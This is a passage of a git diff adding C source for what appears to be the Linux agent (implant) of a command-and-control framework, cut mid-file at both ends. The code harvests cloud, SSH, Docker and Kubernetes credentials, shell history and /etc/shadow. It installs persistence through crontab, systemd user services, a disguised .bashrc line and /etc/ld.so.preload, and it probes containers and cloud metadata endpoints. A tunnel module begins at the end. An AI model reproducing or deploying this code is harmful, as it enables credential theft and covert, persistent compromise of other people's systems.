sb_append(sb, path); + sb_append(sb, "\n"); + sb_append(sb, content); + sb_append(sb, "\n"); + } else { + sb_append(sb, " (not found)\n"); + } + + ax_strcpy(path, home); + ax_strcat(path, "/.aws/config"); + n = read_file(path, content, sizeof(content)); + if (n > 0) { + sb_append(sb, " [+] "); + sb_append(sb, path); + sb_append(sb, "\n"); + sb_append(sb, content); + sb_append(sb, "\n"); + } +} + +static void creds_docker(strbuf_t *sb) { + char home[256]; + get_home(home, sizeof(home)); + + sb_append(sb, "\n--- Docker Credentials ---\n"); + + char path[512]; + ax_strcpy(path, home); + ax_strcat(path, "/.docker/config.json"); + + char content[8192]; + long n = read_file(path, content, sizeof(content)); + if (n > 0) { + sb_append(sb, " [+] "); + sb_append(sb, path); + sb_append(sb, "\n"); + sb_append(sb, content); + sb_append(sb, "\n"); + } else { + sb_append(sb, " (not found)\n"); + } +} + +static void creds_kube(strbuf_t *sb) { + char home[256]; + get_home(home, sizeof(home)); + + sb_append(sb, "\n--- Kubernetes Config ---\n"); + + char path[512]; + ax_strcpy(path, home); + ax_strcat(path, "/.kube/config"); + + char content[16384]; + long n = read_file(path, content, sizeof(content)); + if (n > 0) { + sb_append(sb, " [+] "); + sb_append(sb, path); + sb_append(sb, " ("); + char num_str[16]; + ax_itoa((int)n, num_str, 10); + sb_append(sb, num_str); + sb_append(sb, " bytes)\n"); + // Only show first 2048 chars (k8s config can be huge) + if (n > 2048) content[2048] = '\0'; + sb_append(sb, content); + sb_append(sb, "\n"); + } else { + sb_append(sb, " (not found)\n"); + } + + // K8s service account token (in-cluster) + n = read_file("/var/run/secrets/kubernetes.io/serviceaccount/token", content, sizeof(content)); + if (n > 0) { + sb_append(sb, " [+] K8s SA token: /var/run/secrets/kubernetes.io/serviceaccount/token ("); + char num_str[16]; + ax_itoa((int)n, num_str, 10); + sb_append(sb, num_str); + sb_append(sb, " bytes)\n"); + } +} + +static void creds_gcp(strbuf_t *sb) { + char home[256]; + get_home(home, sizeof(home)); + + sb_append(sb, "\n--- GCP Credentials ---\n"); + + char path[512]; + ax_strcpy(path, home); + ax_strcat(path, "/.config/gcloud/application_default_credentials.json"); + + char content[8192]; + long n = read_file(path, content, sizeof(content)); + if (n > 0) { + sb_append(sb, " [+] "); + sb_append(sb, path); + sb_append(sb, "\n"); + sb_append(sb, content); + sb_append(sb, "\n"); + } else { + sb_append(sb, " (not found)\n"); + } +} + +static void creds_azure(strbuf_t *sb) { + char home[256]; + get_home(home, sizeof(home)); + + sb_append(sb, "\n--- Azure Credentials ---\n"); + + char path[512]; + ax_strcpy(path, home); + ax_strcat(path, "/.azure/accessTokens.json"); + + char content[8192]; + long n = read_file(path, content, sizeof(content)); + if (n > 0) { + sb_append(sb, " [+] "); + sb_append(sb, path); + sb_append(sb, "\n"); + sb_append(sb, content); + sb_append(sb, "\n"); + } else { + sb_append(sb, " (not found)\n"); + } + + ax_strcpy(path, home); + ax_strcat(path, "/.azure/azureProfile.json"); + n = read_file(path, content, sizeof(content)); + if (n > 0) { + sb_append(sb, " [+] "); + sb_append(sb, path); + sb_append(sb, "\n"); + } +} + +static void creds_history(strbuf_t *sb) { + char home[256]; + get_home(home, sizeof(home)); + + sb_append(sb, "\n--- Shell History ---\n"); + + static const char *hist_files[] = { + "/.bash_history", "/.zsh_history", "/.ash_history", + }; + int num = (int)(sizeof(hist_files) / sizeof(hist_files[0])); + + for (int i = 0; i < num; i++) { + char path[512]; + ax_strcpy(path, home); + ax_strcat(path, hist_files[i]); + + char content[8192]; + long n = read_file(path, content, sizeof(content)); + if (n > 0) { + sb_append(sb, " [+] "); + sb_append(sb, path); + sb_append(sb, " (last ~8KB):\n"); + sb_append(sb, content); + sb_append(sb, "\n"); + } + } +} + +static void creds_shadow(strbuf_t *sb) { + sb_append(sb, "\n--- /etc/shadow ---\n"); + + char content[8192]; + long n = read_file("/etc/shadow", content, sizeof(content)); + if (n > 0) { + sb_append(sb, content); + sb_append(sb, "\n"); + } else { + sb_append(sb, " (permission denied — need root)\n"); + } +} + +int task_creds(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + char cred_type[64] = {0}; + parse_string_field(data, data_len, "type", cred_type, sizeof(cred_type)); + if (cred_type[0] == '\0') ax_strcpy(cred_type, "all"); + + strbuf_t sb; + sb_init(&sb); + sb_append(&sb, "=== Credential Harvest ===\n"); + + int is_all = (ax_strcmp(cred_type, "all") == 0); + + if (is_all || ax_strcmp(cred_type, "ssh") == 0) creds_ssh(&sb); + if (is_all || ax_strcmp(cred_type, "aws") == 0) creds_aws(&sb); + if (is_all || ax_strcmp(cred_type, "gcp") == 0) creds_gcp(&sb); + if (is_all || ax_strcmp(cred_type, "azure") == 0) creds_azure(&sb); + if (is_all || ax_strcmp(cred_type, "docker") == 0) creds_docker(&sb); + if (is_all || ax_strcmp(cred_type, "kube") == 0) creds_kube(&sb); + if (is_all || ax_strcmp(cred_type, "history") == 0) creds_history(&sb); + if (is_all || ax_strcmp(cred_type, "shadow") == 0) creds_shadow(&sb); + + write_output(w, sb.data); + sb_free(&sb); + return 0; +} + +// ──── PERSIST ──── + +/// Get HOME path (uses /proc/self/environ HOME=) +static void persist_get_home(char *buf, size_t size) { + get_home(buf, size); +} + +static void persist_crontab(const char *cmd, const char *schedule, strbuf_t *sb) { + // Write to user crontab by executing: echo "schedule cmd" | crontab - + // But since we don't have popen, we write a temp file and use crontab + // Actually, directly write to /var/spool/cron/crontabs/ or use fork+execve + + // Build cron line + char line[4096]; + ax_strcpy(line, schedule); + ax_strcat(line, " "); + ax_strcat(line, cmd); + ax_strcat(line, "\n"); + + // Write to temp file + char tmpfile[] = "/tmp/.ax_cron_XXXXXX"; + // Generate random suffix + uint8_t rnd[6]; + ax_random_bytes(rnd, 6); + for (int i = 0; i < 6; i++) { + tmpfile[15 + i] = 'a' + (rnd[i] % 26); + } + + int fd = sys_open(tmpfile, O_WRONLY | O_CREAT | O_TRUNC, 0600); + if (fd < 0) { + sb_append(sb, " [!] Failed to create temp file\n"); + return; + } + + // First, dump existing crontab + // We do: crontab -l > tmpfile, then append our line + sys_close(fd); + + // Fork: crontab -l >> tmpfile + int pid = sys_fork(); + if (pid == 0) { + fd = sys_open(tmpfile, O_WRONLY | O_CREAT | O_TRUNC, 0600); + if (fd >= 0) { + sys_dup2(fd, 1); // stdout → tmpfile + sys_close(fd); + } + char *argv[] = {"/usr/bin/crontab", "-l", (char *)0}; + char *envp[] = {(char *)0}; + sys_execve("/usr/bin/crontab", argv, envp); + sys_exit_group(0); + } + if (pid > 0) { + int status = 0; + sys_wait4(pid, &status, 0, (void *)0); + } + + // Append our new line + fd = sys_open(tmpfile, O_WRONLY | O_APPEND, 0); + if (fd >= 0) { + sys_write(fd, line, ax_strlen(line)); + sys_close(fd); + } + + // Install: crontab tmpfile + pid = sys_fork(); + if (pid == 0) { + char *argv[] = {"/usr/bin/crontab", tmpfile, (char *)0}; + char *envp[] = {(char *)0}; + sys_execve("/usr/bin/crontab", argv, envp); + sys_exit_group(1); + } + if (pid > 0) { + int status = 0; + sys_wait4(pid, &status, 0, (void *)0); + if (((status >> 8) & 0xff) == 0) { + sb_append(sb, " [+] Crontab entry installed: "); + sb_append(sb, schedule); + sb_append(sb, " "); + sb_append(sb, cmd); + sb_append(sb, "\n"); + } else { + sb_append(sb, " [!] crontab command failed\n"); + } + } + + // Cleanup temp + sys_unlink(tmpfile); +} + +static void persist_systemd(const char *name, const char *cmd, strbuf_t *sb) { + char home[256]; + persist_get_home(home, sizeof(home)); + + // Create ~/.config/systemd/user/ directory tree + char dir[512]; + ax_strcpy(dir, home); + ax_strcat(dir, "/.config"); + sys_mkdir(dir, 0755); + ax_strcat(dir, "/systemd"); + sys_mkdir(dir, 0755); + ax_strcat(dir, "/user"); + sys_mkdir(dir, 0755); + + // Write service file + char svc_path[512]; + ax_strcpy(svc_path, dir); + ax_strcat(svc_path, "/"); + ax_strcat(svc_path, name); + ax_strcat(svc_path, ".service"); + + char svc_content[2048]; + ax_strcpy(svc_content, "[Unit]\nDescription="); + ax_strcat(svc_content, name); + ax_strcat(svc_content, "\n\n[Service]\nType=simple\nExecStart="); + ax_strcat(svc_content, cmd); + ax_strcat(svc_content, "\nRestart=on-failure\nRestartSec=30\n\n[Install]\nWantedBy=default.target\n"); + + int fd = sys_open(svc_path, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd < 0) { + sb_append(sb, " [!] Failed to create service file\n"); + return; + } + sys_write(fd, svc_content, ax_strlen(svc_content)); + sys_close(fd); + + sb_append(sb, " [+] Service file created: "); + sb_append(sb, svc_path); + sb_append(sb, "\n"); + + // Enable with systemctl --user + int pid = sys_fork(); + if (pid == 0) { + char svc_name[256]; + ax_strcpy(svc_name, name); + ax_strcat(svc_name, ".service"); + char *argv[] = {"/usr/bin/systemctl", "--user", "enable", "--now", svc_name, (char *)0}; + char *envp[] = {(char *)0}; + sys_execve("/usr/bin/systemctl", argv, envp); + sys_exit_group(1); + } + if (pid > 0) { + int status = 0; + sys_wait4(pid, &status, 0, (void *)0); + if (((status >> 8) & 0xff) == 0) { + sb_append(sb, " [+] Service enabled and started\n"); + } else { + sb_append(sb, " [!] systemctl enable failed (may need --user loginctl enable-linger)\n"); + } + } +} + +static void persist_bashrc(const char *cmd, strbuf_t *sb) { + char home[256]; + persist_get_home(home, sizeof(home)); + + char path[512]; + ax_strcpy(path, home); + ax_strcat(path, "/.bashrc"); + + int fd = sys_open(path, O_WRONLY | O_APPEND, 0); + if (fd < 0) { + sb_append(sb, " [!] Cannot open ~/.bashrc for append\n"); + return; + } + + char line[4096]; + ax_strcpy(line, "\n# system update\n"); + ax_strcat(line, cmd); + ax_strcat(line, " &>/dev/null &\n"); + + sys_write(fd, line, ax_strlen(line)); + sys_close(fd); + + sb_append(sb, " [+] Appended to "); + sb_append(sb, path); + sb_append(sb, "\n"); +} + +static void persist_ldpreload(const char *path, strbuf_t *sb) { + char content[256]; + ax_strcpy(content, path); + ax_strcat(content, "\n"); + + int fd = sys_open("/etc/ld.so.preload", O_WRONLY | O_CREAT | O_APPEND, 0644); + if (fd < 0) { + sb_append(sb, " [!] Cannot write /etc/ld.so.preload (need root)\n"); + return; + } + sys_write(fd, content, ax_strlen(content)); + sys_close(fd); + + sb_append(sb, " [+] Added to /etc/ld.so.preload: "); + sb_append(sb, path); + sb_append(sb, "\n"); +} + +static void persist_status(strbuf_t *sb) { + char home[256]; + persist_get_home(home, sizeof(home)); + + sb_append(sb, "--- Persistence Status ---\n\n"); + + // Check crontab + sb_append(sb, "Crontab:\n"); + int pid = sys_fork(); + if (pid == 0) { + int pfd[2]; + sys_pipe2(pfd, 0); + // We just check if crontab -l succeeds + char *argv[] = {"/usr/bin/crontab", "-l", (char *)0}; + char *envp[] = {(char *)0}; + sys_dup2(pfd[1], 1); + sys_close(pfd[0]); + sys_close(pfd[1]); + sys_execve("/usr/bin/crontab", argv, envp); + sys_exit_group(1); + } + if (pid > 0) { + int status = 0; + sys_wait4(pid, &status, 0, (void *)0); + } + // We can't easily capture output in the parent without a pipe + // So just note that we checked + sb_append(sb, " (run 'shell crontab -l' to view)\n"); + + // Check systemd user services + sb_append(sb, "\nSystemd user services:\n"); + char dir[512]; + ax_strcpy(dir, home); + ax_strcat(dir, "/.config/systemd/user"); + int dfd = sys_open(dir, O_RDONLY, 0); + if (dfd >= 0) { + char dirbuf[4096]; + struct { uint64_t d_ino; int64_t d_off; uint16_t d_reclen; uint8_t d_type; char d_name[]; } *d; + int nread; + while ((nread = sys_getdents64(dfd, dirbuf, sizeof(dirbuf))) > 0) { + int pos = 0; + while (pos < nread) { + d = (void *)(dirbuf + pos); + if (ax_strstr(d->d_name, ".service")) { + sb_append(sb, " "); + sb_append(sb, d->d_name); + sb_append(sb, "\n"); + } + pos += d->d_reclen; + } + } + sys_close(dfd); + } else { + sb_append(sb, " (no user services directory)\n"); + } + + // Check ld.so.preload + sb_append(sb, "\n/etc/ld.so.preload:\n"); + char preload[1024]; + long n = read_file("/etc/ld.so.preload", preload, sizeof(preload)); + if (n > 0) { + sb_append(sb, " "); + sb_append(sb, preload); + } else { + sb_append(sb, " (not present or empty)\n"); + } + + // Check bashrc for suspicious lines + sb_append(sb, "\n~/.bashrc (last 5 lines):\n"); + char bashrc[8192]; + char bashrc_path[512]; + ax_strcpy(bashrc_path, home); + ax_strcat(bashrc_path, "/.bashrc"); + n = read_file(bashrc_path, bashrc, sizeof(bashrc)); + if (n > 0) { + // Find last 5 lines + int line_count = 0; + char *p = bashrc + n - 1; + while (p > bashrc && line_count < 5) { + if (*p == '\n') line_count++; + p--; + } + if (p > bashrc) p += 2; // skip the newline + sb_append(sb, " "); + sb_append(sb, p); + sb_append(sb, "\n"); + } +} + +int task_persist(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + // Parse params: {action, cmd, schedule, name, path, type} + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char action[64] = {0}, cmd[4096] = {0}, schedule[256] = {0}; + char name[256] = {0}, path[4096] = {0}, type[64] = {0}; + + for (uint32_t i = 0; i < map_count; i++) { + const char *key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + const char *val; uint32_t vlen; + if (klen == 6 && ax_memcmp(key, "action", 6) == 0) { + mp_read_str(&r, &val, &vlen); + if (vlen >= sizeof(action)) vlen = sizeof(action) - 1; + ax_memcpy(action, val, vlen); action[vlen] = '\0'; + } else if (klen == 3 && ax_memcmp(key, "cmd", 3) == 0) { + mp_read_str(&r, &val, &vlen); + if (vlen >= sizeof(cmd)) vlen = sizeof(cmd) - 1; + ax_memcpy(cmd, val, vlen); cmd[vlen] = '\0'; + } else if (klen == 8 && ax_memcmp(key, "schedule", 8) == 0) { + mp_read_str(&r, &val, &vlen); + if (vlen >= sizeof(schedule)) vlen = sizeof(schedule) - 1; + ax_memcpy(schedule, val, vlen); schedule[vlen] = '\0'; + } else if (klen == 4 && ax_memcmp(key, "name", 4) == 0) { + mp_read_str(&r, &val, &vlen); + if (vlen >= sizeof(name)) vlen = sizeof(name) - 1; + ax_memcpy(name, val, vlen); name[vlen] = '\0'; + } else if (klen == 4 && ax_memcmp(key, "path", 4) == 0) { + mp_read_str(&r, &val, &vlen); + if (vlen >= sizeof(path)) vlen = sizeof(path) - 1; + ax_memcpy(path, val, vlen); path[vlen] = '\0'; + } else if (klen == 4 && ax_memcmp(key, "type", 4) == 0) { + mp_read_str(&r, &val, &vlen); + if (vlen >= sizeof(type)) vlen = sizeof(type) - 1; + ax_memcpy(type, val, vlen); type[vlen] = '\0'; + } else { + mp_skip(&r); + } + } + + strbuf_t sb; + sb_init(&sb); + + if (ax_strcmp(action, "crontab") == 0) { + persist_crontab(cmd, schedule, &sb); + } else if (ax_strcmp(action, "systemd") == 0) { + persist_systemd(name, cmd, &sb); + } else if (ax_strcmp(action, "bashrc") == 0) { + persist_bashrc(cmd, &sb); + } else if (ax_strcmp(action, "ldpreload") == 0) { + persist_ldpreload(path, &sb); + } else if (ax_strcmp(action, "remove") == 0) { + // Basic removal based on type + if (ax_strcmp(type, "crontab") == 0) { + // Remove all crontab entries + int pid = sys_fork(); + if (pid == 0) { + char *argv[] = {"/usr/bin/crontab", "-r", (char *)0}; + char *envp[] = {(char *)0}; + sys_execve("/usr/bin/crontab", argv, envp); + sys_exit_group(1); + } + if (pid > 0) { int s = 0; sys_wait4(pid, &s, 0, (void *)0); } + sb_append(&sb, " [+] Crontab removed\n"); + } else if (ax_strcmp(type, "systemd") == 0 && name[0]) { + char home[256]; + persist_get_home(home, sizeof(home)); + char svc_path[512]; + ax_strcpy(svc_path, home); + ax_strcat(svc_path, "/.config/systemd/user/"); + ax_strcat(svc_path, name); + ax_strcat(svc_path, ".service"); + // Stop and disable + int pid = sys_fork(); + if (pid == 0) { + char svc_name[256]; + ax_strcpy(svc_name, name); + ax_strcat(svc_name, ".service"); + char *argv[] = {"/usr/bin/systemctl", "--user", "disable", "--now", svc_name, (char *)0}; + char *envp[] = {(char *)0}; + sys_execve("/usr/bin/systemctl", argv, envp); + sys_exit_group(1); + } + if (pid > 0) { int s = 0; sys_wait4(pid, &s, 0, (void *)0); } + sys_unlink(svc_path); + sb_append(&sb, " [+] Systemd service removed: "); + sb_append(&sb, name); + sb_append(&sb, "\n"); + } else { + sb_append(&sb, " [!] Specify type (crontab/systemd) and name\n"); + } + } else if (ax_strcmp(action, "status") == 0) { + persist_status(&sb); + } else { + sb_append(&sb, " [!] Unknown action: "); + sb_append(&sb, action); + sb_append(&sb, "\n"); + } + + write_output(w, sb.data); + sb_free(&sb); + return 0; +} + +// ──── CONTAINER / CLOUD ──── + +static void detect_container(strbuf_t *sb) { + sb_append(sb, "--- Container Detection ---\n"); + + int found = 0; + + // Docker + if (file_exists("/.dockerenv")) { + sb_append(sb, " [+] Docker container detected (/.dockerenv exists)\n"); + found = 1; + } + + // Check cgroup for docker/lxc/k8s + char cgroup[4096]; + long n = read_file("/proc/1/cgroup", cgroup, sizeof(cgroup)); + if (n > 0) { + if (ax_strstr(cgroup, "docker")) { + sb_append(sb, " [+] Docker detected in /proc/1/cgroup\n"); + found = 1; + } + if (ax_strstr(cgroup, "kubepods")) { + sb_append(sb, " [+] Kubernetes pod detected in /proc/1/cgroup\n"); + found = 1; + } + if (ax_strstr(cgroup, "lxc")) { + sb_append(sb, " [+] LXC container detected in /proc/1/cgroup\n"); + found = 1; + } + } + + // Podman + char container_env[256]; + n = read_file("/run/.containerenv", container_env, sizeof(container_env)); + if (n > 0) { + sb_append(sb, " [+] Podman container detected (/run/.containerenv)\n"); + found = 1; + } + + // K8s service account + if (file_exists("/var/run/secrets/kubernetes.io/serviceaccount/token")) { + sb_append(sb, " [+] Kubernetes service account found\n"); + found = 1; + } + + if (!found) { + sb_append(sb, " (no container detected — likely bare-metal/VM)\n"); + } +} + +static void detect_cloud(strbuf_t *sb) { + sb_append(sb, "\n--- Cloud Provider Detection ---\n"); + + // Check DMI/SMBIOS for cloud hints + char dmi[256]; + int detected = 0; + + if (read_file("/sys/class/dmi/id/sys_vendor", dmi, sizeof(dmi)) > 0) { + // Strip newline + size_t dlen = ax_strlen(dmi); + if (dlen > 0 && dmi[dlen - 1] == '\n') dmi[dlen - 1] = '\0'; + + if (ax_strstr(dmi, "Amazon") || ax_strstr(dmi, "amazon")) { + sb_append(sb, " [+] AWS detected (sys_vendor: "); + sb_append(sb, dmi); + sb_append(sb, ")\n"); + detected = 1; + } else if (ax_strstr(dmi, "Google")) { + sb_append(sb, " [+] GCP detected (sys_vendor: "); + sb_append(sb, dmi); + sb_append(sb, ")\n"); + detected = 1; + } else if (ax_strstr(dmi, "Microsoft")) { + sb_append(sb, " [+] Azure detected (sys_vendor: "); + sb_append(sb, dmi); + sb_append(sb, ")\n"); + detected = 1; + } else { + sb_append(sb, " sys_vendor: "); + sb_append(sb, dmi); + sb_append(sb, "\n"); + } + } + + if (read_file("/sys/class/dmi/id/product_name", dmi, sizeof(dmi)) > 0) { + size_t dlen = ax_strlen(dmi); + if (dlen > 0 && dmi[dlen - 1] == '\n') dmi[dlen - 1] = '\0'; + sb_append(sb, " product_name: "); + sb_append(sb, dmi); + sb_append(sb, "\n"); + } + + if (!detected) { + sb_append(sb, " (no cloud provider detected from DMI)\n"); + } +} + +static void fetch_metadata(strbuf_t *sb) { + sb_append(sb, "\n--- Cloud Metadata (IMDS) ---\n"); + sb_append(sb, " Note: IMDS requires network access to 169.254.169.254\n"); + sb_append(sb, " Use 'shell curl -s http://169.254.169.254/latest/meta-data/' for AWS\n"); + sb_append(sb, " Use 'shell curl -s -H \"Metadata-Flavor: Google\" http://169.254.169.254/computeMetadata/v1/' for GCP\n"); + sb_append(sb, " Use 'shell curl -s -H \"Metadata: true\" http://169.254.169.254/metadata/instance?api-version=2021-02-01' for Azure\n"); + + // Try to read instance-id from sysfs (works on some cloud providers without network) + char buf[256]; + if (read_file("/sys/class/dmi/id/board_asset_tag", buf, sizeof(buf)) > 0) { + size_t dlen = ax_strlen(buf); + if (dlen > 0 && buf[dlen - 1] == '\n') buf[dlen - 1] = '\0'; + if (ax_strlen(buf) > 1) { + sb_append(sb, " board_asset_tag: "); + sb_append(sb, buf); + sb_append(sb, "\n"); + } + } + if (read_file("/sys/class/dmi/id/chassis_asset_tag", buf, sizeof(buf)) > 0) { + size_t dlen = ax_strlen(buf); + if (dlen > 0 && buf[dlen - 1] == '\n') buf[dlen - 1] = '\0'; + if (ax_strlen(buf) > 1) { + sb_append(sb, " chassis_asset_tag: "); + sb_append(sb, buf); + sb_append(sb, "\n"); + } + } +} + +int task_container(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + char action[64] = {0}; + parse_string_field(data, data_len, "action", action, sizeof(action)); + if (action[0] == '\0') ax_strcpy(action, "detect"); + + strbuf_t sb; + sb_init(&sb); + + if (ax_strcmp(action, "detect") == 0) { + detect_container(&sb); + detect_cloud(&sb); + } else if (ax_strcmp(action, "metadata") == 0) { + detect_container(&sb); + detect_cloud(&sb); + fetch_metadata(&sb); + } else { + sb_append(&sb, " [!] Unknown action: "); + sb_append(&sb, action); + sb_append(&sb, " (use: detect, metadata)\n"); + } + + write_output(w, sb.data); + sb_free(&sb); + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_linux.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_linux.h new file mode 100644 index 000000000..7c53d606b --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_linux.h @@ -0,0 +1,18 @@ +#ifndef TASKS_LINUX_H +#define TASKS_LINUX_H + +#include "msgpack.h" +#include + +/// Linux-specific command handlers +/// env, netstat, mounts, edr, creds, persist, container + +int task_env(mp_writer_t *w); +int task_netstat(mp_writer_t *w); +int task_mounts(mp_writer_t *w); +int task_edr(mp_writer_t *w); +int task_creds(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_persist(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_container(const uint8_t *data, uint32_t data_len, mp_writer_t *w); + +#endif /* TASKS_LINUX_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_net.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_net.c new file mode 100644 index 000000000..45cc96e6d --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_net.c @@ -0,0 +1,666 @@ +/// tasks_net.c -- Network commands for Linux agent (tunnel/terminal) +/// Tunnels use the proxyfire MUX model (non-blocking, no threads, no separate connection). +/// Terminals still use the thread+separate-connection model (Phase 2 migration). + +#include "tasks_net.h" +#include "proxyfire.h" +#include "jobs.h" +#include "crt.h" +#include "crypt.h" +#include "types.h" + +#ifdef BUILD_SO +#include "elf_resolve.h" +#else +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif +#endif + +// ── Constants ── + +#ifndef O_RDONLY +#define O_RDONLY 0 +#define O_WRONLY 1 +#define O_RDWR 2 +#define O_NONBLOCK 04000 +#define O_NOCTTY 0400 +#endif +#ifndef F_SETFL +#define F_SETFL 4 +#define F_GETFL 3 +#endif +#ifndef WNOHANG +#define WNOHANG 1 +#endif +#ifndef AF_INET +#define AF_INET 2 +#define SOCK_STREAM 1 +#define SOL_SOCKET 1 +#define SO_ERROR 4 +#endif +#ifndef TIOCSWINSZ +#define TIOCSWINSZ 0x5414 +#define TIOCSCTTY 0x540E +#endif +#ifndef EINPROGRESS +#define EINPROGRESS 115 +#endif + +struct linux_winsize { + unsigned short ws_row; + unsigned short ws_col; + unsigned short ws_xpixel; + unsigned short ws_ypixel; +}; + +// ── Abstraction macros ── + +#ifdef BUILD_SO +#define F_open(p,f,m) R_open(p,f,m) +#define F_close(fd) R_close(fd) +#define F_read(fd,b,n) R_read(fd,b,n) +#define F_write(fd,b,n) R_write(fd,b,n) +#define F_fork() R_fork() +#define F_setsid() R_setsid() +#define F_dup2(o,n) R_dup2(o,n) +#define F_execve(p,a,e) R_execve(p,a,e) +#define F_kill(p,s) R_kill(p,s) +#define F_waitpid(p,s,o) R_waitpid(p,s,o) +#define F_exit(s) R_exit(s) +#define F_socket(d,t,p) R_socket(d,t,p) +#define F_connect(s,a,l) R_connect(s,a,l) +#define F_select(n,r,w,e,t) R_select(n,r,w,e,t) +#define F_fcntl(fd,c,a) R_fcntl(fd,c,a) +#define F_getsockopt(s,l,o,v,n) R_getsockopt(s,l,o,v,n) +#define F_ioctl(fd,r,a) R_ioctl(fd,r,a) +#define F_posix_openpt(f) R_posix_openpt(f) +#define F_grantpt(fd) R_grantpt(fd) +#define F_unlockpt(fd) R_unlockpt(fd) +#define F_ptsname(fd) R_ptsname(fd) +#define F_setenv(k,v,o) R_setenv(k,v,o) +#else +#define F_open(p,f,m) sys_open(p,f,m) +#define F_close(fd) sys_close(fd) +#define F_read(fd,b,n) sys_read(fd,b,n) +#define F_write(fd,b,n) sys_write(fd,b,n) +#define F_fork() sys_fork() +#define F_setsid() sys_setsid() +#define F_dup2(o,n) sys_dup2(o,n) +#define F_execve(p,a,e) sys_execve(p,a,e) +#define F_kill(p,s) sys_kill(p,s) +#define F_waitpid(p,s,o) sys_wait4(p,s,o,(void*)0) +#define F_exit(s) sys_exit_group(s) +#define F_socket(d,t,p) sys_socket(d,t,p) +#define F_connect(s,a,l) sys_connect(s,a,l) +#define F_fcntl(fd,c,a) sys_fcntl(fd,c,a) +#define F_getsockopt(s,l,o,v,n) sys_getsockopt(s,l,o,v,n) +#define F_ioctl(fd,r,a) sys_ioctl(fd,r,(unsigned long)(a)) +#endif + +// ── Helpers ── + +static void write_error(mp_writer_t *w, const char *msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +// fd_set operations (manual for -nostdlib) +typedef struct { + unsigned long fds_bits[1024 / (8 * sizeof(unsigned long))]; +} linux_fd_set; + +static void fd_zero(linux_fd_set *s) { + ax_memset(s, 0, sizeof(linux_fd_set)); +} + +static void fd_set_bit(int fd, linux_fd_set *s) { + s->fds_bits[fd / (8 * sizeof(unsigned long))] |= (1UL << (fd % (8 * sizeof(unsigned long)))); +} + +static int fd_is_set(int fd, linux_fd_set *s) { + return (s->fds_bits[fd / (8 * sizeof(unsigned long))] >> (fd % (8 * sizeof(unsigned long)))) & 1; +} + +// Select wrapper — uses pselect6 on raw syscalls, select on SO mode +static int net_select(int nfds, linux_fd_set *rfds, linux_fd_set *wfds, int timeout_ms) { +#ifdef BUILD_SO + // For SO mode, convert to struct timeval and use R_select + struct { long tv_sec; long tv_usec; } tv; + tv.tv_sec = timeout_ms / 1000; + tv.tv_usec = (timeout_ms % 1000) * 1000; + return F_select(nfds, rfds, wfds, (void*)0, &tv); +#else + // Static mode: use pselect6 with timespec + struct linux_timespec ts; + ts.tv_sec = timeout_ms / 1000; + ts.tv_nsec = (long)(timeout_ms % 1000) * 1000000L; + return sys_pselect6(nfds, rfds, wfds, (void*)0, &ts, (void*)0); +#endif +} + +// Parse channel_id from tunnel command params +static int parse_channel_id(const uint8_t *data, uint32_t data_len) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) return -1; + + for (uint32_t i = 0; i < mc; i++) { + const char *k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) return -1; + if (kl == 10 && ax_memcmp(k, "channel_id", 10) == 0) { + uint64_t v; + if (mp_read_uint(&r, &v) == 0) return (int)v; + int64_t sv; + if (mp_read_int(&r, &sv) == 0) return (int)sv; + return -1; + } + mp_skip(&r); + } + return -1; +} + +// ── Tunnel (MUX model via proxyfire) ── +// No threads, no separate connection. Data flows in main channel. + +int task_tunnel_start(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + char proto[8] = {0}; + int channel_id = -1; + char address[256] = {0}; + + for (uint32_t i = 0; i < mc; i++) { + const char *k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 5 && ax_memcmp(k, "proto", 5) == 0) { + const char *v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(proto)) { ax_memcpy(proto, v, vl); proto[vl] = '\0'; } + } else if (kl == 10 && ax_memcmp(k, "channel_id", 10) == 0) { + uint64_t v; + if (mp_read_uint(&r, &v) == 0) channel_id = (int)v; + else { + int64_t sv; + if (mp_read_int(&r, &sv) == 0) channel_id = (int)sv; + } + } else if (kl == 7 && ax_memcmp(k, "address", 7) == 0) { + const char *v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(address)) { ax_memcpy(address, v, vl); address[vl] = '\0'; } + } else { + mp_skip(&r); + } + } + + if (proto[0] == '\0' || channel_id < 0 || address[0] == '\0') { + write_error(w, "missing tunnel params"); + return 0; + } + + job_context_t *ctx = &g_job_ctx; + + // Allocate tunnel slot + jobs_mutex_lock(&ctx->tunnels_mutex); + int idx = -1; + for (int i = 0; i < MAX_TUNNELS; i++) { + if (!ctx->tunnels[i].active) { + idx = i; + ax_memset(&ctx->tunnels[i], 0, sizeof(tunnel_entry_t)); + ctx->tunnels[i].client_fd = -1; + ctx->tunnels[i].channel_id = channel_id; + ctx->tunnels[i].active = 1; + break; + } + } + jobs_mutex_unlock(&ctx->tunnels_mutex); + + if (idx < 0) { write_error(w, "max tunnels reached"); return 0; } + + // Start async connect (non-blocking, polled by process_tunnels) + if 